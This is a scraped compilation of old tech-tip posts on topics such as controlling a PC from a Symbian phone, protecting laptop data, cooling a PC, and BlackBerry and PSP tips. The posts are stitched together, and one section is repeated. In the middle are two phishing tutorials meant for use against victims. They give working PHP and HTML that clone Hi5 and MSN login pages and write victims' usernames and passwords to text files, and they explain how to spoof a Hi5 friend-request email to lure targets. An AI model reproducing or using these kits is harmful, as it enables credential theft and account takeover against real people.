How to use your smartphone to control your PC

In this era, we have remote controls for everything. Televisions, music systems, DVD players, air conditioners, even my 5.1 channel speaker set has one. No reason then, why you shouldn't have one for your PC. I realized I was missing the remote especially because I spend so much time at my PC. Hence began my search for a PC (or laptop) remote. And guess what I found? With a couple of tricks, I can convert my mobile phone into one. Here’s how.

When I said mobile phone, I did not mean just about "any". You need a smartphone. Quite common now, are smartphones that run on Symbian Series 60-2.x with Bluetooth. Well, these would be Nokia 5320 XpressMusic, N73, E51, 5610 XpressMusic, E65, E66, E71, N95.

Here's the other doo-hickeys you need:
1. A Bluetooth dongle for your PC (latest laptops already have a Bluetooth port). This is a small USB thingy (easily available for Rs 300-500 at your local PC hardware vendor) that allows your PC to communicate with Bluetooth-based devices.
2. An application called ControlFreak available as a free download on this site
3. Winamp V2 or V5 or above. Simply, if you don't have it, download and install it.

Installing ControlFreak is really quite simple. Just double-click the .EXE file to install the application after download. You don't need to make any special configuration settings or complex registry entries. The installer will place a file called controlFreak.sis on your desktop. You need to install this file on your mobile phone. Use Bluetooth or PC Suite (for Nokia phones) to do this. Read your phone's manual to learn how to install files on it. Once installed, a new item called CtrlFreak will appear in your applications menu on your phone. Your phone is ready.

Next, you need to setup your PC (or laptop). The ControlFreak PC application will start Winamp on its own and try to configure port settings. This is where your Bluetooth dongle comes in. If Windows detects your dongle then you have nothing to do, ControlFreak will auto-configure.

If your Windows asks for software on an accompanying CD and you had to use external drivers to set it up, then you need to manually make changes. In Winamp, hit "Ctrl+F". This opens the advanced ControlFreak configurations window. Set Bluetooth driver to “Installed Other” and select the COM port you selected when installing your Bluetooth dongle. Select the Startup with Winamp checkbox if you want Winamp to activate ControlFreak every time you start Winamp.

That's it! Start the CtrlFreak application on your phone, choose "Options" and select "Connect". This will create a remote connection between your phone and PC. Here you need to enter a code to pair your phone with the PC. This is exactly like pairing two phones with Bluetooth. The default code is generally "0000". After connecting, your phone display will show Winamp. Choose Options > Computer > Desktop control (8) from the application menu. Voila! Your mobile will display exactly what you see on your PC.

All you now need is a comfy couch in front of your PC.

How to prevent data theft from your laptop

Well most of us do not want to encounter a situation when you realize your laptop is gone and so also the data stored onto it. Data theft is no less than identity theft. These days most people carry out financial transactions on the Internet and so it's not surprising that people store confidential personal information onto their laptops. The theft of such data could spell disaster for the one affected as the thief is in a position to misuse the data. You might perhaps not be able to prevent your laptop from being stolen or be even be assured to get it back in case of a theft but you can surely prevent the misuse of the data stored onto it.

Here are a few ways you can prevent your data from being misused.

Use a login password
It is always a good practice to keep a login password for your laptop as this helps to prevent anybody from intruding into your laptop when it's left unattended. Also, try and choose a password that is not a whole word; instead the initials of a sentence; for example if the sentence you choose is "I was born on 10th March 1979", then your password could be "IWBO1M1". This way it will be impossible for anyone to guess your login password. You could keep all your passwords in such a format so that it's easier for you to remember.

Use biometrics for protection
Biometric security is a method in which the user's physiological features are used for authentication. These could include facial features, fingerprint recognition or iris recognition. Nowadays most laptops have a fingerprint reader and/or a facial feature recognizing software for authentication. If your laptop has any of these features, then do not hesitate to use it as the protection offered by this means is much better than using a password.

Limit personal data storage on your laptop
We are in the habit of having instantaneous access to our data and therefore we tend to store humongous data onto our laptop, including personal ones. It is safer to limit the personal data you store onto your laptop; store only that data which you require frequently. Meanwhile keep a complete backup of your data on your desktop at home or on an external portable drive.

Encrypt and password protect your documents
Always keep important documents and files on your laptop password protected. This not only prevents others from opening the file but also helps in scenarios where the document might have been sent to someone by mistake. You can password protect MS Office files; for files you cannot password protect, use software such as Folder Lock to password protect the folder you want to. The best way to protect files is to encrypt them using encryption software as it would be hard for anyone to try to retrieve information from an encrypted file.

Encrypt and store online
If you require frequent anytime access to your documents then you could consider storing them online for free. For instance Hotmail users can upload and store their documents onto Windows Live SkyDrive-a free online storage facility. Another similar feature available for AOL users is Xdrive and for Yahoo! users it is Yahoo! Briefcase. While Yahoo! Briefcase offers 30 MB of storage space, Xdrive and Windows Live SkyDrive offer 5 GB of free storage space. There are some applications such as Norton 360, which provides online backup of your data. If you use this application you can specify your folders for backup and it automatically synchronizes with your computer and updates the files. Online storage offers security and easy accessibility to your documents but while storing your documents online, make sure you encrypt and password protect them.

Clear your web browser's cache
Always keep your web browser's cache empty and do not let the web browser store any of your login user ids or passwords. If you prefer to choose the web browser to remember the username and password, chances are that anybody accessing your laptop can log into your account. Although it is a bit tedious to enter your user id and password every time you log in, it does go a long way in keeping your data safe.


Use Kensington lock
Finally there is a way in which you can prevent your laptop from being stolen-use the Kensington lock. Most laptops come with the Kensington Security Slot commonly known as Kensington lock. It is a small, cylindrical metal-reinforced hole present on one of the side panels of laptops. You can use the Kensington lock to secure your laptop to a heavy object such as a table using the lock and cable apparatus. Though this is isn't a foolproof security system as anyone using a wire-cutter can chop the cable, it at least deters someone from stealing your laptop when you are not around.

Prevention is always better than cure, we are often told. Protect your data from being misused by securing it before it is too late!

How to beat PC heat

Heat can cause problems for your precious system by cutting down on your PC's performance, sending the motherboard to a rehab and in the process posing damage to your data. To protect your PC and the data stored in it, try these few heat busting tips:

Tip 1: The first step to take to ensure your PC is protected from heat is keeping it in a well ventilated atmosphere. Don't attempt to copy your office IT folks - they place the CPUs on the ground due to lack of office space but as we all know, the floor though seemingly cool, breeds dust and dirt that pose a danger to your PC's cooling system. Remember the good old days when your computer teacher in school instructed the class to enter the PC classroom bare feet. Well, while he may have annoyed many of you, now you know he had a point.

Tip 2: Never expose your PC to direct sunlight as it is harmful for the components resting inside. Placing it in a shady area in the room (preferably not next to your window) will keep it running smooth.

Tip 3: A regular cleaning session for your PC will work wonders. It is natural for the computer to gather dirt inside after substantial usage; this pile of dust ultimately prevents the cooling fans from keeping the system cool. The only way to tackle this is open up the PC case and spray a can of compressed air around the wires, circuits and cooling fans. While this may seem an arduous task, it is not. The PC can be opened with a regular screwdriver. In case of a laptop, you can spray around the cooling vents at the sides and bottom.

Tip 4: One way to ensure your PC doesn't heat up is by shutting it down after use in the night. In case of laptops, which heat up really fast, you might want to switch to standby mode after you are done with your work; doing so will ensure it remains cool when left idle.

Tip 5: Keeping your ears and eyes open will go a long way. If your system is asking for repeated reboots, know there is a problem and most likely it is to do with overheating. Alert yourself to noise - too much noise means your PC requires you to address the heat issue. And if the problem persists, we are afraid, it's time you took it to the service centre.

Control your PC with smartphone

In this era, we have remote controls for everything. Televisions, music systems, DVD players, air conditioners, even my 5.1 channel speaker set has one. No reason then, why you shouldn't have one for your PC. I realized I was missing the remote especially because I spend so much time at my PC. Hence began my search for a PC (or laptop) remote.

How to inject speed into your old laser printer

You might have an old laser printer rusting on your desk simply because it prints at snail's pace. But instead of letting dust bunnies gather on it, you can inject speed into it by upping its memory. This way your decrepit laser printer will load and print more than one elaborate document at a time.

Here's what you need to do:


Step 1: If the printer model you're using is easily available in the market, you shouldn't have any problem getting RAM (Random Access Memory) for it at your local dealer. The other thing you could do is call the number given in the printer manual and enquire the company representative about upgrading your printer's memory. Find out the maximum upgrade you can get.

Step 2: Once you have figured out the memory you would upgrade to, order the RAM from the service center or purchase it from the market closeby. Next, refer to the manual for instructions regarding installation before actually proceeding. The user manual is like a Bible, giving you step-by-step directions regarding what you need to know about your printer.

Step 3: This is something that you've probably never done but trust us, it is really simple. Lift the back cover of the printer and locate the panel that contains the memory. Next, locate the slot for the memory card and place it there. Lest the card refuses to fit, make sure you don't force it in, else you might damage it.

Step 4: Put the cover back on properly and then press the Menu button on the printer in order to reconfigure it.

Now, next time your printer refuses to listen to your commands, you know what to do

Phish it easy!!!

Creating a fake login page and some social engineering trick's.


1.) First part:Creating the Fake Login Page.
In this part of the tutorial I'm going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Hi5 as an example.

Part 1:
First we create a PHP script that will save the passwords in a text file.

1.) Open notepad and put this code:

CODE
<?php
header ('Location: http://www.hi5.com/friend/login.do ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle) ;
exit;
?>

2.)Now save this as phish.php
Note:
CODE
header ('Location: http://www.hi5.com/friend/login.do ');

This URL is where the victim is redirected after logging in to you fake page.
The best way to do this is to go to the original site(in this case hi5) and try to login without username and password.Of course then the site will tell you that the username/password incorrect.Now copy that url and paste in that part of the phish.php script.As you can see the hi5 has got "http://www.hi5.com/friend/login.do"
Now we have succesfully created the script that will save the password in a text file which will be later used to see logged victim password's.

Part 2:

Now we go to http://www.hi5.com and right click / View Source.
Now we need to find the place where LOGIN button in Hi5 page send the user after clicking on it.
To do that we search for something like:
CODE
action=anything.

In this case we have:
CODE
action="/friend/login. do"

We replace that part with:
CODE
action="phish.php"

Then we copy the whole source and save this file as login.php.

Now upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go.Just give your victim the link to your Login.php file and every time they login that php script will create a file titled passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The phishing link should be something like this:
http://something.awa...e.com/login. php ---> Send this to your victim

And the txt file with the passwords like this:
http://something.awa...m/passwords.txt ---> View the passwords with this one.

Another example of phishing link:
http://hi5-friendreq...e.com/login.php

Don't log in on this one,Its my phishing link.
But of you do that wont bother me.smiley_XD.gif

The Fake Login Page proccess is over.

Second part:Deceiving the Victim.

Now in this part we are going to see how we can deceive our victims.The way i do it is like this.

1#.Go to your inbox and find a simple hi5 Friend Request.Copy it like in the picture:


Go to http://deadfake.com/Send.aspx , scroll down for a little and paste the invitation like this:



*Now select the "Accept Friend" line.
*Click the hyperlink button.
*Paste your phishing link there.
*Click OK button.
See the pic for more:


Now fill in the fields like this :

To: victimemail@dumb.com
From: info@hi5.com
Subject: Someone has sent you a hi5 Friend Request

Then enter the security code and click send.The e-mail will look like it came from hi5 just that it will redirect the victim to your phishing link instead of hi5.com

The same can be done for facebook and many more websites of your choice.

NOTE:There is a chance that the email wont be sent sometimes.So the best it would be to send it on your own inbox just before you send it to your victim.

Well that's it for today boys and girls.I know it was a long tutorial but believe me it will worth it once you mastered .Let me know what you think.

Happy Phishing.

Phishing Tutorial

I learned some new phishing techniques that will required some background experience in PHP, the programming language, you will also need a 110MB.com account, a victim of whom you want to hack, and Notepad++ (it's not required but makes the job easier). Firstly, you may want to read here tutorial on PHP file creation. After reading that open up your Notepad or Notepad++ and enter this:

HTML (index.html) Wrote:
<html>
<head>
<title>MSN Login</title>
</head>
<body>
<p>
<form action="collect.php" method="post">
<font face="Verdana" size="4"><img class="" alt="" src="http://www.platinumstatus.ws/nick/new/MSN_logo.gif" /><br />
Name :&nbsp; </font><input autocomplete="OFF" name="name" type="text" /><br />
<font face="Verdana" size="4">Username : &nbsp;</font><input id="username" name="username" type="text" /><br />
<font face="Verdana" size="4">Password : &nbsp;</font><input id="password" type="password" name="password" /><br />
<input id="submit" type="submit" name="submit" value=" Login " />
</form>
</p>
</body>


This is a quick login page for MSN accounts, you may want to go to MySpace, YouTube, Flickr, etc. and save their logo for your use. Next you want to create a PHP page that will bring the information enter in the form, above, and place it into a new text file. Here is the source code (REMEMBER TO SAVE IT AS COLLECT.PHP OR IF YOU DONT DO THAT THEN EDIT THE action="page.php" TO SOMETHING ELSE!):


PHP (collect.php) Wrote:
<html dir="ltr">
<head>
<title></title>
<?php
//Gather's information from previous form.
$username = $_POST['username'];
$password = $_POST['password'];
$name = $_POST['name'];

echo "Thanks," . $name . "!";

//Creates a new text file and fills in the info from the form..
$myFile = "msAccount.txt";
$fh = fopen($myFile, 'w') or die("Error.");
$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);
$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);
$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);
fclose($fh);
?>
</head>
<body>
</body>
</html>]

The bit up above starting at $myfile = ... is a bit advanced so let me explain.

$myFile = "msAccount.txt";: Creates the new text file called msAccount.txt. If you want to change the title of the out putted file, say to loginInfo or whatever, then change it.

$fh = fopen($myFile, 'w') or die("Error.");: Creates the actually file.

$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);: Carries the username from the form to the text file in text. When I've tested this with \n instead of <br /> it mysteriously doesn't work so I've used <br />.

$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);: Carries the password from the form (see above).

$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);: Same as above but prints the name.

fclose($fh);
?>: Closes the code.

Now that they are created go ahead and test it out. But note that the text file being created, in this case msAccount.txt, will be created in the same directory as the collect.php file. So if collect.php is in a folder called codes, the text file will only be created in that file codes.

Have fun and test it. + Rep if ya liked it!

YouTube on your PSP

PSP developer biscottealacrevette released a new version of Go!Tube, a YouTubestreaming application which is basiclly a clone of PSPtube but with some new features and more importantly, it works!. Changes in version 1.1 include the HightMemoryMod and added repository support to GoTube Updater.

Installation is easy, just make sure you place the GoTube.prs in the RADIOPLAYER folder of your memory stick and then place the GoTube folder in GAME. At first I couldn’t get this to work, but this was due to BubbleTunes Game Categories plug-in. You need to place the GoTube folder outside of any CAT_ folders (Uncatergorized)

One you have placed the folders, go to Internet Radio in your XMB and GoTube update, click the arrow logo to add the video site you want. It should download a 2kb file. Exit and then run GoTube, use Select to find YouTube for example and then hit O and enter a search term for YouTube, wait a few seconds and videos will appear for that search.

httpv://www.youtube.com/watch?v=Eh96ToFReO8

Developer notes:

Go!Tube was originally created to replace UltimatePSPtube beacause a lot of his site doesn’t work but why continue this work ? because i’m not the only dev of gotube’s script (actualy yes but I hope it will change). concretely that mean GoTube include a online updater (go to the radioplayer to use it), this online player load a list of dev and they script’s folder and display them to you. after that you can choose what site you want include in GoTube.

As you can see there is a new feature in gotube , the next site are now previewed in top of the screen (i know you understand why i’ve made that ^^) if you want remove this feature and go back to the original mode, go to the cfg.js and replace 1 by 0 in the PSP.multiView attribut

I’ll probably not read your reply so if you want to know how to make your own script , i’ve relased the API of GoTube (some parte are same as PSPtube). if you’ve never used javascript don’t try to do this job. and if you find any bug : request a debugging here : Issues -- gotube -- Project Hosting on Google Code

Use your BlackBerry as an Emergency Flashlight

We bring our mobile phones everywhere and sometimes when you are somewhere in the dark and wish you would have a flashlight you can also use you BlackBerry to see in the dark. No, not just by using the display – you can use the internal flash which is much better (and you don’t need to buy any of the Flashlight Applications.
 All you need to do is:

Open the Video Camera application (not the normal camera)
Press "space" to toggle it on and off.

Pretty easy and a really nice trick to do more with your BlackBerry than just make phone calls.

The Ultimate List of Twitter Applications for the BlackBerry smartphone

If you haven’t heard yet of Twitter you should check out their site www.twitter.com. Twitter is a free social networking and micro-blogging service that allows its users to send and read other users’ updates (otherwise known as tweets), which are text-based posts of up to 140 characters in length.

Twitter is an amazing tool to connect with other people and to keep your friends updated about “what you are doing right now”. I personally use Twitter a lot to reach out to other BlackBerry user and share information about my blog.

Twitter has already helped me to meet people I would have never met before in such a short time-frame. Twitter helps you to start conversations and you will meet interesting people you never thought you would meet.

Of course Twitter is not just available online but you can also send updates through your mobile phone. While you can configure Twitter to work with text SMS, I highly recommend to use dedicated software. Here is a list of applications that allow you to use Twitter from your BlackBerry.

The Best-Known App: TwitterBerry

TwitterBerry is one of the most used mobile client for posting updates to Twitter from a BlackBerry smartphone. It works over the data network, so you don’t need to use SMS. TwitterBerry is developed by Orangatame Software and can be downloaded OTA from your BlackBerry from http://orangatame.com/ota/twitterberry/.


The Universal App: TinyTwitter

TinyTwitter is a universal Twitter client and it works on ANY Java enabled device (that’s a bunch & includes the CrackBerry) and ANY Windows Mobile Pocket PC or Smartphone.
It can be downloaded OTA at http://www.tinytwitter.com/m/
 
The Location Aware App: Twibble

twibble mobile is one of the best twitter clients for Java enabled devices (Nokia, Blackberry, and others). It supports all important twitter functions, uploading of photos via twitpic, GPS, and much more!
Twibble mobile can be downloaded OTA from http://m.twibble.de/
 
The Rising Star: Social Scope

SocialScope is a native Twitter and Facebook status client for your BlackBerry. It aggregates your social networks (Facebook & Twitter for now) and updates your status on both. It also lets you view your twitter timeline!
Since SocialScope is still in Alpha mode you have to request an invite at http://socialscope.net/

The Fully Integrated:Yatca

Yatca is an innovative Twitter client application for BlackBerry (OS 4.6+) that delivers updates and replies directly to your device’s inbox. This enables you to tweet and reply in much the same way that you work with email and SMS.

What is Blackberry ???

Many years ago, before there were “internet enabled” mobile devices, I remember shopping the various cellular providers in search of any gadgets that might have the ability to transmit Internet pages over the cellular lines. I was desperate for a way to research eBay prices while sitting at antique auctions.
Only a few years later, this technology was realized in the form of the Personal Digital Assistant (PDA) with Windows Mobile software connecting to the Internet through the “new” 2G data network…the predecessor to today’s 3G network and beyond.
Not long after PDA’s became Internet ready, a company named Research in Motion (RIM) developed a new device, and more importantly a new, groundbreaking technology, that would change the world of mobile Internet access forever. Today I’m going to answer the question, what is Blackberry technology, and I’m also going to describe why it still remains the most effective methods of doing business (or having fun) over the Internet while you’re mobile.

What Is Blackberry Technology?

In all honesty, there’s nothing overwhelmingly terrific about the Blackberry device itself. PDA devices had cellphone and Internet capabilities integrated into them long before the Blackberry became a household name. The first versions of the Blackberry weren’t leaps and bounds ahead of the leading hand-held mobile devices of the day.
With that said, the Blackberry technology itself was a major advancement in mobile technologies, and it’s the Blackberry service that ultimately led to the popularity of this device. It’s the ability of this service to keep you instantly connected to your home or office network that made it into the leading mobile devices today – with its own cult following of avid enthusiasts and users.
So what exactly is Blackberry Technology, and what makes it so special? It’s called Push Technology.

Push Technology Compared to the PDA “Pull” Method

There are different configurations of the Blackberry service, but the most common enterprise setup is with the Blackberry Enterprise Server (BES). The entire purpose of this server is to keep all Blackberry users instantly updated the moment any “data event” occurs (my own terminology).
what is blackberry technology
To understand blackberry technology, it’s important to first understand how the PDAs operated before the Blackberry came along. While most of the discussion centers around email, I like to refer to “data events” as anything that requires an update on your mobile. In the days before PDA became Internet enabled, you would basically do your work while mobile and then when you get back home or to the office, you connect a cable between the device and your PC and do a “sync.” During a sync, changes on your device get uploaded to your email or calendar accounts and any new emails or calendar changes at the accounts get loaded onto your PDA. Updates would take place once a day – or whenever you have time to sync the device.
However, once PDA devices came integrated with Internet access via cellular data networks, you could sync certain “data events” with your various accounts without having to physically connect to the server. This is illustrated in the figure above. When you want to retrieve new emails on your POP3 or IMAP email account, you tell the PDA to go out and retrieve new emails. The path of data transfer starts with the PDA (the red arrow), and through the Internet-enabled mobile email software which connects with and talks to the email server over the Internet. After retrieving all new emails, the connection to the server is disconnected and new emails are displayed.
If you want to reply to one of the emails, you type your reply on the PDA and click send. The cycle starts all over again, with the PDA always initiating communication and requesting updates. Because of this, if you haven’t configured your mobile device to automatically retrieve emails, you could go hours without receiving an important email.

Push Technology Keeps You Instantly Updated All The Time

Now, let’s take a look at how synchronization takes place with Blackberry Technology.
what is blackberry technology
When you’re using a Blackberry device, you can picture your handheld unit as a network device, like a PC on a LAN, that’s always connected to your data account through the redirector software. Instead of residing on your mobile device, the software (whether it’s BES or desktop redirector software) is installed on the Blackberry Enterprise Server.
Communication between the software and the server, as well as the software and your Blackberry, is always a two-way street. Whenever there’s a change in your email account, calendar or any other monitored account on either the Blackberry (if you create and send an email) or on the office network (your secretary updates your calendar with a new appointment), the BES immediately updates either the mobile device or the email or calendar account. In other words, Blackberry push technology keeps the device constantly and instantly in “synch” without any effort on your part.

What Is So Special About Blackberry Technology?

In all honesty, a PDA running Windows Mobile could be configured in much the same way as the BES service. There are new “sync” options being offered every day that can help you to keep your Internet-enabled Windows mobile device instantly up to date. For example, Aibek mentioned a few great sync tools such as ShifD, Mobical or OggSync that will do just that. Another cool method is Karl’s use of Mail2Web to sync up his device with email. Or, it could be as simple as using GoogleSync to stay synched up.
The fact is, Blackberry Technology was novel when it first came out, however the subsequent lawsuit with NTP, that claimed RIM used its technology already in use for PDAs, was only the first indication that while the technology is certainly effective and valuable – it isn’t rocket science. The device is now little more than a status symbol – a way for someone to feel like they’re on the cutting-edge of cellular technology. But in a few years, everyone will be instantly connected to their email, calendar and social networks – and it will be on to the next great thing.
